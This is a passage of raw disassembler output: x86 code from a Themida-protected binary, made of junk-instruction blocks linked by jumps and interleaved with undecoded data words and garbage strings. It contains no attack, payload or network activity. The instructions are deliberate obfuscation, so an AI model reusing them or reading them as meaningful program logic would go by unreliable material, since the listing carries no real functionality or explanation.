		dd 1E2BE9h, 51056800h, 0C890000h, 0E9E18924h, 252Bh, 55894035h
		dd 0C5895542h, 4581E9h,	242C8700h, 0C89665Ch, 64EBE924h
		dd 47880000h, 4BDE938h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54C70A:				; CODE XREF: Themida_:00549301j
		add	cl, 54h
		jmp	loc_54FEC8
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 8957240Ch, 68BA52E7h, 836AFE05h, 0E2C1FFEAh,	0FFEA8108h
		dd 57FFFFFFh, 56905BFh,	5FFA31FEh, 148BD701h, 67846824h
		dd 14890000h, 506E924h,	462D0000h, 0E94F6652h, 0FFFFDFC6h
		dd 43E9E801h
		db 1Dh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C757:				; CODE XREF: Themida_:00550E3Aj
		mov	esp, [esp]
		push	67A2h
		mov	[esp], ebp
		push	542Eh
		mov	[esp], eax
		jmp	loc_547308
; ---------------------------------------------------------------------------
		db 5Dh
		dd 31241433h, 14332414h, 0EC815C24h, 4,	0E9243C89h, 0FFFFE9F9h
; ---------------------------------------------------------------------------

loc_54C788:				; CODE XREF: Themida_:00548F7Aj
		push	edx
		mov	dl, ch
		push	ebx
		mov	ebx, 0
		sub	ebx, 15402E7Eh
		add	ebx, eax
		jmp	loc_54D81F
; ---------------------------------------------------------------------------

loc_54C79E:				; CODE XREF: Themida_:0054BB1Cj
		and	ecx, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_552278
; ---------------------------------------------------------------------------

loc_54C7B4:				; CODE XREF: Themida_:005529D7j
		pop	eax
		push	ebx
		mov	ebx, 17C87931h
		push	edi
		jmp	loc_54719D
; ---------------------------------------------------------------------------

loc_54C7C1:				; CODE XREF: Themida_:00548598j
		add	edx, esi
		pop	esi
		jmp	loc_54987B
; ---------------------------------------------------------------------------
		db 58h,	0E9h, 0F7h
		db 34h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54C7CF:				; CODE XREF: Themida_:00550E50j
		pop	esi
		jmp	loc_54EEE5
; ---------------------------------------------------------------------------
		db 34h,	0DDh, 24h
		dd 2CC0FEC4h, 0C2885281h, 2CF5E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C7E5:				; CODE XREF: Themida_:00552427j
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_54BD64
; ---------------------------------------------------------------------------
		db 8Bh,	0Ch, 24h
		dd 3004C483h, 0B6525BD8h, 47D04A5h, 28972CE4h, 3ACFE9F0h
		dd 8EBB0000h, 293AB876h, 241C8BDEh, 54EDE9h
		db 0
; ---------------------------------------------------------------------------

loc_54C81D:				; CODE XREF: Themida_:0054CEFAj
		pop	edx
		jmp	loc_54C651
; ---------------------------------------------------------------------------

loc_54C823:				; CODE XREF: Themida_:0054F0B0j
		push	ebp
		mov	ebp, 255663Fh
		push	ecx
		mov	ecx, 59D530AFh
		push	edx
		mov	edx, 7EF14BBAh
		not	edx
		not	edx
		neg	edx
		jmp	loc_5513B2
; ---------------------------------------------------------------------------
		dd 0B8240489h, 2, 37BBE9h, 0E1E95B00h, 0F700001Dh, 53BD55DAh
		dd 812AC20Ch, 0A71892F5h, 7EDC114h, 0FFD517E9h,	66AD66FFh
		dd 0C6BB6653h, 0D801664Eh, 241C8B66h, 6602C483h, 665A642Dh
		dd 6655D801h, 663096BDh, 6AF2F581h, 5DE80166h, 0B855E955h
		dd 0C8BFFFFh, 0E6895624h, 4C681h, 0C6830000h, 5F89E904h
		dd 0B9510000h, 5DC470B8h, 5953C981h, 0C1812CAAh, 68F77704h
		dd 2AE9D9F7h, 8100000Ch, 4ECh, 24048900h, 5BD9E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C8D1:				; CODE XREF: Themida_:00552273j
		pop	ebx
		sub	ebx, 48553B23h
		shl	ebx, 3
		jmp	loc_5528B1
; ---------------------------------------------------------------------------
		dd 68C0B70Fh, 523Eh, 54241C89h,	327DE9h, 24148700h, 0FFBC63E9h
		dd 0EFC380FFh, 0E92EF380h, 0FFFFD3B9h
; ---------------------------------------------------------------------------

loc_54C904:				; CODE XREF: Themida_:0054C38Bj
		add	ecx, edi
		pop	edi
		jmp	loc_54A634
; ---------------------------------------------------------------------------
aAirfysty	db '€ërfYéâY',0
		align 2
		dw 0C481h
		dd 4, 6EB4C381h, 0C32936C9h, 6EB4BD55h,	0EB2936C9h, 97BA525Dh
		dd 5779564Ah, 366272BFh, 0ADEF8139h, 0E9552352h, 0FFFFC969h
; ---------------------------------------------------------------------------

loc_54C944:				; CODE XREF: Themida_:0054871Bj
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_550C97
; ---------------------------------------------------------------------------

loc_54C952:				; CODE XREF: Themida_:0054D81Aj
		xchg	ebx, [esp]
		pop	esp
		add	ecx, edx
		mov	edx, [esp]
		jmp	loc_54EC05
; ---------------------------------------------------------------------------

loc_54C960:				; CODE XREF: Themida_:0054C336j
		and	eax, edx
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	esp
		pop	esi
		jmp	loc_551F43
; ---------------------------------------------------------------------------
		dd 104BF57h, 0E7816BD4h, 29D74D59h, 105EF81h, 0FA31AA5Fh
		dd 5AD7015Fh, 5C243C87h, 8904EC83h, 96E9242Ch, 87000007h
		dd 7BE9240Ch, 81000034h, 4C6h, 4C68300h, 0E9243487h, 0FFFFD354h
; ---------------------------------------------------------------------------

loc_54C9B8:				; CODE XREF: Themida_:00550DE5j
		push	dword ptr [esp]
		jmp	loc_54F7B0
; ---------------------------------------------------------------------------
		dd 4EA81h, 14870000h, 0AE54E924h, 5859FFFFh, 0B2525159h
		dd 5AD1883Fh, 1FE6E9h
		db 0
; ---------------------------------------------------------------------------

loc_54C9DD:				; CODE XREF: Themida_:0054BD59j
		pop	ecx
		sub	esp, 4
		mov	[esp], edx
		mov	edx, 20h
		add	edx, 2C87452Dh
		add	edx, edi
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 2C87452Dh
		sub	edx, edi
		pop	edi
		jmp	loc_5486A9
; ---------------------------------------------------------------------------

loc_54CA04:				; CODE XREF: Themida_:0054FE49j
		xchg	edi, ecx
		jmp	loc_54FC5C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 0FF042474h, 0E9582434h, 0FFFFD956h, 0A4D6E95Ah, 0E95FFFFFh
		dd 0FFFFE65Dh, 2B951h, 0C3810000h, 8846BF5h, 0EB81CB01h
		dd 8846BF5h, 83240C8Bh,	0EC8304C4h, 241C8904h, 42474FFh
		dd 24048F5Bh, 2944E95Ch, 0CF310000h, 5FF92959h,	0E9240C33h
		dd 2816h, 7F2F37BDh, 0E9EE295Bh, 171Fh,	31241C33h, 16E9241Ch
		dd 81000012h, 5476B6CDh, 99F58113h, 2945372Bh, 565B5DEFh
		dd 0B541A0BEh, 0E9D6F728h, 410Eh, 0FFA45BE9h, 7FCABDFFh
		dd 81452593h, 0D346DBEDh, 5DEE8901h, 368E684Eh,	0C890000h
		dd 291CB924h, 32E9459Dh, 52000062h, 6A68E289h, 0E900006Dh
		dd 345h, 4EC81h, 4890000h, 617AE924h, 0FF560000h, 5E042474h
		dd 5BCFE9h
		db 0
; ---------------------------------------------------------------------------

loc_54CAE1:				; CODE XREF: Themida_:00547B16j
					; Themida_:0054EBCDj ...
		push	0E4Fh
		mov	[esp], ebp
		mov	ebp, ebx
		push	esi
		push	esp
		pop	esi
		jmp	loc_54AACB
; ---------------------------------------------------------------------------
		db 81h
		dd 42404h, 2C8B0000h, 0C1E95524h, 1000023h, 4620E9E8h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CB0A:				; CODE XREF: Themida_:0054A974j
		xor	edx, 1EC42F5h
		mov	ebp, edx
		push	dword ptr [esp]
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebx
		jmp	loc_5488E7
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 2
		xchg	ebp, [esp]
		pop	esp
		xor	dl, 71h
		sub	al, dl
		mov	edx, [esp]
		push	ebx
		jmp	loc_54FB7A
; ---------------------------------------------------------------------------

loc_54CB47:				; CODE XREF: Themida_:005488ACj
		mov	esp, [esp]
		sub	esp, 4
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_54B6B9
; ---------------------------------------------------------------------------

loc_54CB6B:				; CODE XREF: Themida_:00550186j
		pop	esp
		add	eax, 2
		jmp	loc_54E9F7
; ---------------------------------------------------------------------------
		dd 468h, 0E9015D00h, 74FF515Dh,	8F590424h, 0E95C2404h
		dd 25D5h, 75CE956h, 79050000h, 2D4EFD66h, 24533F7Ah, 7A05F029h
		dd 2D24533Fh, 4EFD6679h, 0AFA2E95Eh, 5366FFFFh,	0FFD8F3E9h
		dd 241C87FFh, 0ECEE9h, 0C1816600h, 29E95DF3h, 0FFFFFFE9h
		dd 1E92434h, 5200005Ch,	0EA0D58BAh, 8EAC13Ch, 0C61F281h
		dd 0C281466Fh, 155B58D3h, 8106E2C1h, 303040C2h,	0E9D18914h
		dd 4774h
; ---------------------------------------------------------------------------

loc_54CBF4:				; CODE XREF: Themida_:0054DA73j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_550ABB
; ---------------------------------------------------------------------------
		db 0BEh
		dd 416A1C7Eh, 5EE9DEF7h
		db 0DAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54CC13:				; CODE XREF: Themida_:005513ADj
		add	esi, eax
		push	edx
		mov	edx, 6EF95FA6h
		jmp	loc_54766F
; ---------------------------------------------------------------------------
		dd 2474FF53h, 241C8B04h, 0E9595451h, 0FFFFA951h
; ---------------------------------------------------------------------------

loc_54CC30:				; CODE XREF: Themida_:0054A346j
		add	esp, 4
		and	eax, edx
		push	dword ptr [esp]
		jmp	loc_5510F4
; ---------------------------------------------------------------------------

loc_54CC40:				; CODE XREF: Themida_:0054F534j
		mov	eax, [esp]
		add	esp, 4
		push	ebp
		jmp	loc_550012
; ---------------------------------------------------------------------------
		dd 8904EC83h, 4812424h,	424h, 0CE0EE900h, 8B66FFFFh, 0EC83240Ch
		dd 241C8904h, 0B850E389h, 4, 0FFE03CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CC75:				; CODE XREF: Themida_:0054FA4Fj
		pop	edi
		xchg	edx, [esp]
		pop	esp
		shl	ebx, 8
		sub	ebx, 9D7FF6FCh
		jmp	loc_54A34B
; ---------------------------------------------------------------------------

loc_54CC88:				; CODE XREF: Themida_:0054F2D7j
		pop	esi
		mov	edi, [esp]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	esi, [esp]
		push	ebp
		mov	ebp, esp
		jmp	loc_547192
; ---------------------------------------------------------------------------
		dw 8159h
		dd 4C4h, 7B1C6800h, 2C890000h, 2072BD24h, 0A1E97E91h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CCC3:				; CODE XREF: Themida_:00552535j
		mov	[esp], eax
		mov	eax, 713A5387h
		push	eax
		pop	edx
		mov	eax, [esp]
		jmp	loc_54BED2
; ---------------------------------------------------------------------------
		db 8Bh,	14h, 24h
		dd 4C481h, 0E8010000h, 0FA70642Dh, 242C8B47h, 81E78957h
		dd 4C7h, 62056800h, 7FE90000h, 31000010h, 5DE95DE8h, 31000053h
		dd 3C33243Ch, 24248B24h, 8904EC83h, 6FBE2434h, 0E929C07Eh
		dd 261h, 0FFC58366h, 0E4ED8166h, 3659E926h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CD2A:				; CODE XREF: Themida_:00552B69j
		mov	esi, 23AB3A39h
		xor	esi, 200068F9h
		xor	ecx, esi
		pop	esi
		jmp	loc_54CD6C
; ---------------------------------------------------------------------------
		db 8Bh,	2 dup(24h)
		dd 0C8B60F66h, 618D6857h, 24890000h, 4BD5524h, 1000000h
		dd 5D04246Ch, 81243C8Bh, 4C4h, 4B95100h, 0E9000000h, 3009h
; ---------------------------------------------------------------------------

loc_54CD6C:				; CODE XREF: Themida_:0054CD38j
		push	eax
		mov	eax, 5899223Eh
		jmp	loc_547C1F
; ---------------------------------------------------------------------------
		db 0FFh
a4Xh2a		db '4$Xh2A',0
		align 10h
		dd 54241489h, 0D1B9515Ah, 81419152h, 6EAD33C1h,	59CA01BEh
		dd 559AE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CD9A:				; CODE XREF: Themida_:00552D2Dj
		mov	[esp], edi
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, 35612C64h
		shl	ebp, 8
		or	ebp, 254B23FEh
		inc	ebp
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 2F552E9Ch
		and	ecx, 5A292550h
		neg	ecx
		shr	ecx, 4
		sub	ecx, 39A35488h
		add	ecx, 63607397h
		sub	ebp, ecx
		pop	ecx
		mov	edi, ebp
		jmp	loc_54B24F
; ---------------------------------------------------------------------------
		db 89h,	0E3h, 0E9h
		dd 0FFFFBFF4h, 565D5455h, 0FFED5FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CDF1:				; CODE XREF: Themida_:0054EA7Fj
		mov	esi, [esp]
		add	esp, 4
		mov	ebx, edi
		pop	edi
		sub	edx, 701C4986h
		add	edx, ebx
		add	edx, 701C4986h
		jmp	loc_549C83
; ---------------------------------------------------------------------------
		db 89h,	4, 24h
		dd 3173E9h, 240C8B00h, 104C483h, 685251D8h, 21B6269h, 4E2C15Ah
		dd 3530E94Ah, 0C80F0000h, 580B68h, 24148900h, 0FFA21DE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CE3D:				; CODE XREF: Themida_:0054A26Fj
		push	ebx
		mov	ebx, 4
		sub	edx, ebx
		pop	ebx
		xchg	edx, [esp]
		mov	esp, [esp]
		mov	[esp], ecx
		push	1
		mov	ecx, [esp]
		push	ecx
		jmp	loc_54939F
; ---------------------------------------------------------------------------
		db 51h,	0FFh, 74h
		dd 8F590424h, 248B2404h, 2424D324h, 0A082E99Ch,	0E3C0FFFFh
		dd 1B25208h, 0C280C2FEh, 5AD33097h, 8020C380h, 0F3807FF3h
		dd 2AF8E977h, 685A0000h, 4CE8h,	88241489h, 88DEF6EEh, 24148BF5h
		dd 4C481h, 0C5800000h, 0B1EAE9DBh, 575BFFFFh, 357C3CBFh
		dd 312E962h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CEBA:				; CODE XREF: Themida_:005491DCj
		xor	[esp], ecx
		xor	ecx, [esp]
		xor	[esp], ecx
		jmp	loc_54D554
; ---------------------------------------------------------------------------
		dd 348B5456h, 4C48324h,	68505752h, 287A61B1h, 4E16E9h
		dd 0FFC72900h, 34FF2434h, 0C4815824h, 4, 457EE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_54CEF2:				; CODE XREF: Themida_:00547201j
		push	ecx
		mov	ecx, edi
		mov	edx, ecx
		pop	ecx
		mov	ebp, edx
		jmp	loc_54C81D
; ---------------------------------------------------------------------------
		db 2Dh
		dd 6FCE0758h, 3CEE055Fh, 65E94EFAh
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54CF0F:				; CODE XREF: Themida_:00546EFCj
		push	cx
		push	eax
		jmp	loc_5517F9
; ---------------------------------------------------------------------------
		db 0E9h
		dd 0FFFF9FD8h, 5253565Ah, 5921F1BAh, 5AD38940h,	0F51735BEh
		dd 5BDE3168h, 6636F681h, 504E7ED4h, 0C8486AB8h,	6E0C155h
		dd 0FD27BE2Dh, 2A4BE93Bh, 8B660000h, 6BE92404h,	0B8000005h
		dd 4, 0FFCF7AE9h, 244481FFh, 1D1CF804h,	2434FF24h, 0E0895059h
		dd 405h, 4C08300h, 5C240487h, 1239E9h, 82EE8100h, 0E9292B5Dh
		dd 0FFFFA6B9h
; ---------------------------------------------------------------------------

loc_54CF88:				; CODE XREF: Themida_:0054D894j
		pop	ebx
		push	esi
		jmp	loc_547139
; ---------------------------------------------------------------------------
		db 54h
		dd 4C18159h, 53000000h,	235CE9h, 7EAC100h, 4FD8C281h, 0EC835278h
		dd 24148904h, 0FB243481h, 5D2AAA27h, 0FFAD3FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54CFB9:				; CODE XREF: Themida_:0054B7AFj
		pop	ebx
		push	eax
		mov	eax, 279867CAh
		add	eax, 23730A72h
		xor	eax, 0FBFE4FACh
		jmp	loc_54954B
; ---------------------------------------------------------------------------
		db 89h
		dd 17E9240Ch, 0C0FFFFD2h, 0C8FE05E0h, 0E0C0C004h, 1CB15102h
		dd 144AE9h, 3E685F00h, 8900004Fh, 18E92434h, 83000048h
		dd 0FF5204C2h, 5A042474h, 59D7E9h, 24048000h, 0E95A66FFh
		dd 2CFFh, 803BCF80h, 0FE8808F7h, 0FFBAF3E9h, 48F5AFFh
		dd 34FF5C24h, 2434FF24h, 0E924148Bh, 0FFFFAEB3h, 0FF9EBFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D035:				; CODE XREF: Themida_:0054BB06j
		pop	dword ptr [esp]
		mov	esp, [esp]
		shr	eax, 0Ch
		xor	eax, ecx
		push	588Bh
		mov	[esp], eax
		jmp	loc_551E2C
; ---------------------------------------------------------------------------
		db 8Bh,	1Ch, 24h
		dd 4C481h, 0C4830000h, 4B2A6804h, 1C890000h, 1968BB24h
		dd 0EB815ED8h, 0FFFFFFFFh, 8D2EB81h, 57513009h,	12636DBFh
		dd 7666B914h, 0F9317896h, 51243C8Bh, 0E955E189h, 0FFFFB97Dh
		dd 5205E0C1h, 1C6C91BAh, 0C2814Fh, 31446FF2h, 0C6895AD0h
		dd 0C1DEF758h, 0D8E905EEh, 66FFFFECh, 66CE18BDh, 5D66EA29h
		dd 5AD32966h, 1EB8166h,	0F3816600h, 5E9B450h
		db 5Bh,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D0C7:				; CODE XREF: Themida_:0054FB37j
		shr	edx, 1
		jmp	loc_547D43
; ---------------------------------------------------------------------------
		dw 4BEh
		dd 1000000h, 0EB815EF3h, 4, 5C241C87h, 0B2241489h, 0C1EA8098h
		dd 80BDC280h, 0D700D6EAh, 0E924148Bh, 0FFFFC16Ah, 88BF575Eh
		dd 2978C673h, 5F08247Ch, 4247401h, 7388BB53h, 448178C6h
		dd 728F0824h, 5C017242h, 6C810824h, 728F0824h, 1C8B7242h
		dd 0DB36E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D12A:				; CODE XREF: Themida_:0054C6B9j
		add	ecx, 4
		jmp	loc_54BA7C
; ---------------------------------------------------------------------------
		db 89h,	0E5h, 81h
		dd 4C5h, 0F2E95700h, 52FFFFDBh,	7B58E0BAh, 5AD3318Dh, 4EC81h
		dd 34890000h, 2A27BE24h, 0F729036Bh, 0E9DF015Eh, 0E19h
		dd 1782E381h, 0EC836A57h, 24148904h, 0FF9E7FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D175:				; CODE XREF: Themida_:0054A01Dj
		xor	edx, edi
		xor	edi, edx
		push	edx
		jmp	loc_549D2F
; ---------------------------------------------------------------------------
		db 81h
		dd 4C3h, 0AAA6E900h, 0E959FFFFh, 102Bh,	0F75AD301h, 0E9DBF7D3h
		dd 0FFFFA65Ah, 2BF57h, 0FD010000h, 0FF9DB2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D1A9:				; CODE XREF: Themida_:00549B6Ej
		push	dword ptr [esp]
		mov	ecx, [esp]
		jmp	loc_54AE04
; ---------------------------------------------------------------------------

loc_54D1B4:				; CODE XREF: Themida_:0054FE1Dj
		shr	bh, 2
		jmp	loc_547FCE
; ---------------------------------------------------------------------------
aWKQhrSsc	db 'W¿ª%ÓqhÝ-™é—',0
		align 4
aOsY		db 'OéœY',0
		align 2
		dw 0C581h
		dd 537D7381h, 4EC8355h,	0BE243489h, 4F385007h, 43B4E9h
		dd 24348900h, 6614CFBEh, 5EEC15Bh, 46A3EE81h, 51506F1Ch
		dd 99389168h, 0E9815972h, 60D95F30h, 3018E9h, 0E0C18100h
		dd 17F2301h, 0E0E981C1h, 587F2301h, 0FFDE1FE9h,	74BF57FFh
		dd 8116652Fh, 0ADFC1AEFh, 0E9FB2911h, 0FFFFE6DEh, 0CA68525Dh
		dd 5A1B1A44h, 5735B850h, 0F75063D9h, 0E9582414h, 46B5h
		dd 8124148Bh, 4C4h, 2C18300h, 0FFFC00E9h, 0EEE94DFFh, 5AFFFFC1h
		dd 3C8BFA01h, 4C48124h,	21000000h, 685AD7h, 0E9000000h
		dd 0FFFFE879h, 240C8B66h, 0FFCF9EE9h, 5DEA01FFh, 4E78BD55h
		dd 0F7457BA0h, 84F581D5h, 1845FB1h, 0FF525DEAh,	0E9042474h
		dd 2842h, 4EC81h, 3C890000h, 428E924h, 0EF880000h, 0FFDC40E9h
		dd 243489FFh, 6BAA68h, 43FBE900h, 0C1880000h, 8859CE88h
		dd 6DE95AF1h
		db 48h,	2 dup(0)
; ---------------------------------------------------------------------------

loc_54D2D3:				; CODE XREF: Themida_:00550D9Dj
		push	7BBAh
		mov	[esp], edx
		mov	ebp, [esp]
		add	esp, 4
		mov	edx, [esp]
		push	6101h
		jmp	loc_54745D
; ---------------------------------------------------------------------------
		dw 0E952h
		dd 0FFFFA15Ch
; ---------------------------------------------------------------------------

loc_54D2F4:				; CODE XREF: Themida_:0054C319j
		mov	ebp, esi
		pop	esi
		jmp	loc_54F093
; ---------------------------------------------------------------------------

loc_54D2FC:				; CODE XREF: Themida_:00550CC5j
		push	dword ptr [esp]
		jmp	loc_5498FF
; ---------------------------------------------------------------------------
		dd 0CFFEDFF6h, 208BEF80h, 2434FFF9h, 4C4835Bh, 0E1C0C9FEh
		dd 8F18002h, 0E980C1FEh, 0E9C83067h, 53ABh, 0E9515059h
		dd 5A0Bh, 0CF0028B1h, 0FFC7FFE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D339:				; CODE XREF: Themida_:00548B0Bj
		xor	esi, 953AA254h
		jmp	loc_54A0CF
; ---------------------------------------------------------------------------
		dd 242C8151h, 4E1559Ch,	9CC2815Ah, 0E904E155h, 0FFFFBD10h
; ---------------------------------------------------------------------------

loc_54D358:				; CODE XREF: Themida_:0054DB6Cj
		shr	ecx, 0Bh
		push	ebx
		jmp	loc_54F529
; ---------------------------------------------------------------------------
		db 57h,	0BFh, 0B7h
		dd 0E934B337h, 0FFFFD82Dh, 81E9028Fh, 81FFFF9Bh, 4C5h
		dd 4C58100h, 55000000h,	3C9CE9h, 4C28100h, 55000000h, 4BDh
		dd 90C28100h, 8144ED31h, 0CA1123C2h, 81EA0162h,	0CA1123EAh
		dd 90EA8162h, 8B44ED31h, 0C483242Ch, 24148704h,	11D7685Ch
		dd 4890000h, 53585724h,	0DA89C389h, 24048B5Bh, 61AF68h
		dd 24348900h, 0C681E689h, 4, 0F6685751h, 5F26C416h, 4EF7F781h
		dd 0EFC14ABAh, 3D9DE905h, 30AC0000h, 1AE2E9D8h,	34FF0000h
		dd 6E685F24h, 0E9000062h, 962h,	8904EC83h, 0B4E92424h
		dd 89000029h, 19BF243Ch, 0F7553549h, 0D7F747D7h, 0FFB558E9h
		dd 799368FFh, 0E9585411h, 0FFFFB458h
; ---------------------------------------------------------------------------

loc_54D42C:				; CODE XREF: Themida_:00549C5Ej
		mov	[esp], ebx
		add	dword ptr [esp], 659A73E1h
		push	dword ptr [esp]
		mov	eax, [esp]
		push	50A0h
		mov	[esp], esi
		mov	esi, esp
		add	esi, 4
		push	ecx
		mov	ecx, 4
		add	esi, ecx
		jmp	loc_54BCFE
; ---------------------------------------------------------------------------

loc_54D459:				; CODE XREF: Themida_:0054EBA0j
		sub	esi, eax
		pop	eax
		shr	esi, 6
		xor	esi, 114F5F46h
		and	edx, esi
		pop	esi
		neg	edx
		push	eax
		jmp	loc_5501A9
; ---------------------------------------------------------------------------
		dd 0E924048Bh, 2300h, 1876C88h,	592434FFh, 4C481h, 1FE90000h
		dd 89000014h, 5A502414h, 0FFCC2CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D495:				; CODE XREF: Themida_:005477DBj
		sub	esi, 33A644B4h
		add	esi, ebx
		push	edi
		mov	edi, 2D9C0F6Eh
		shr	edi, 7
		and	edi, 799B0A9Dh
		and	edi, 104948D7h
		jmp	loc_547B01
; ---------------------------------------------------------------------------
		db 1
		dd 0BE75E9EEh, 5453FFFFh, 4C3815Bh, 56000000h, 2BEh, 30EB8100h
		dd 1048542h, 1474E9F3h,	0CF010000h, 0F129E959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D4E2:				; CODE XREF: Themida_:005525F8j
		xor	esi, 32D82FB4h
		jmp	loc_551B49
; ---------------------------------------------------------------------------
		db 81h,	0C9h, 4Bh
		dd 81786626h, 0C2331DC1h, 4EC813Ch, 89000000h, 33682434h
		dd 5E6B6B48h, 3CFCE9h, 24048900h, 4F9DBB53h, 9DB80483h
		dd 296B81B1h, 0C3295BD8h, 24348B58h, 4C481h, 85680000h
		dd 8900001Dh, 0BDE92404h, 8BFFFF99h, 0C481242Ch, 4, 4244431h
		dd 0FFAF26E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_54D549:				; CODE XREF: Themida_:00547C09j
		sub	edi, 0C6060935h
		jmp	loc_54ABF8
; ---------------------------------------------------------------------------

loc_54D554:				; CODE XREF: Themida_:0054CEC3j
		push	5167h
		mov	[esp], ecx
		sub	esp, 4
		jmp	loc_55168D
; ---------------------------------------------------------------------------
		dd 4A30F66h, 85E99C24h,	0BEFFFF99h, 29032341h, 196E9h
		dd 24248B00h, 5E08950h,	4, 0FFAC60E9h, 240420FFh, 9962E99Ch
		dd 4F5EFFFFh, 7FE9CF81h, 0E7C14A52h, 0E4C78105h, 81101002h
		dd 0E350ABC3h, 81FB0179h, 0E350ABEBh, 0C3815F79h, 4, 0DAD68h
		dd 241C8900h, 24CFE9h, 81E28900h, 4C2h,	4C28300h, 5C241487h
		dd 2C5ABA52h, 0D6313E7Ch, 0ABEA815Ah, 10F9D23h,	0ABC281F2h
		dd 0E90F9D23h, 3D1Ch, 0F368E389h, 0E9000014h, 0FFFFA39Dh
		dd 0FC3305Ah, 34FFC0B6h, 0CEE95387h, 68FFFFE1h,	5A0B6231h
		dd 4F04E95Bh, 0C4810000h, 4, 4905E9h, 5BFD3000h, 0FED5B050h
		dd 2C7504C0h, 34A12447h, 284F3462h, 0EDC058C5h,	0E9EDD007h
		dd 22E1h, 0EBECE953h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D646:				; CODE XREF: Themida_:00547912j
		add	esp, 4
		add	esi, 3AFE667Ch
		jmp	loc_548B0A
; ---------------------------------------------------------------------------

loc_54D657:				; CODE XREF: Themida_:0054AA4Bj
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 19FA4433h
		shr	ebx, 7
		jmp	loc_549FD4
; ---------------------------------------------------------------------------

loc_54D677:				; CODE XREF: Themida_:00552156j
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		jmp	loc_54FE65
; ---------------------------------------------------------------------------

loc_54D687:				; CODE XREF: Themida_:0054F5CAj
		inc	edi
		xor	edi, 168F5B79h
		push	edx
		push	528542F2h
		pop	edx
		dec	edx
		sub	edx, 11646CFBh
		add	edx, 899520Dh
		sub	edi, edx
		pop	edx
		jmp	loc_5475A5
; ---------------------------------------------------------------------------

loc_54D6AA:				; CODE XREF: Themida_:0054965Ej
		mov	ebx, [esp]
		add	esp, 4
		push	ebp
		push	edx
		mov	edx, 1E2B311Fh
		jmp	loc_54FCD6
; ---------------------------------------------------------------------------
		db 31h
		dd 242C8BEAh, 4C481h, 0D5010000h, 8124148Bh, 4C4h, 0FAC2E900h
		dd 0FF54FFFFh, 815F2434h, 4C4h,	4EC8300h, 55243489h, 0FFF3A8E9h
		dd 0D830ACFFh, 5AD86866h, 0FFD86CE9h, 24248BFFh, 0F66F9F6h
		dd 6866CCB6h, 4CE96007h, 8900000Dh, 56525EF0h, 1B251068h
		dd 0D6F75E3Fh, 488CE81h, 0EE812FDEh, 0EF546A3Fh, 315EF289h
		dd 3AE2E9D0h, 34FF0000h, 42E95824h
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D73B:				; CODE XREF: Themida_:0054FAB1j
		push	esp
		pop	esi
		add	esi, 4
		jmp	loc_551991
; ---------------------------------------------------------------------------
		dd 24048B66h, 4BDB68h, 0B0F5E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_54D756:				; CODE XREF: Themida_:00547DA8j
		xor	ebx, [esp]
		mov	esp, [esp]
		add	esp, 4
		jmp	loc_547E4B
; ---------------------------------------------------------------------------

loc_54D767:				; CODE XREF: Themida_:00551F51j
		shr	ebx, 3
		sub	ebx, 73A16298h
		and	ebx, 42624710h
		sub	ebx, offset sub_42470C
		sub	esi, 450B2C35h
		jmp	loc_54BE4B
; ---------------------------------------------------------------------------

loc_54D787:				; CODE XREF: Themida_:0054F951j
		add	esp, 4
		jmp	loc_550154
; ---------------------------------------------------------------------------
aXsv@		db 'XéV@',0
		dd 90EA8100h, 5F55CE65h, 2474FF52h, 48F5A04h, 0C8FFE924h
		dd 8B66FFFFh, 52682404h, 8900006Dh, 2AE92414h
		db 0DEh, 2 dup(0FFh)
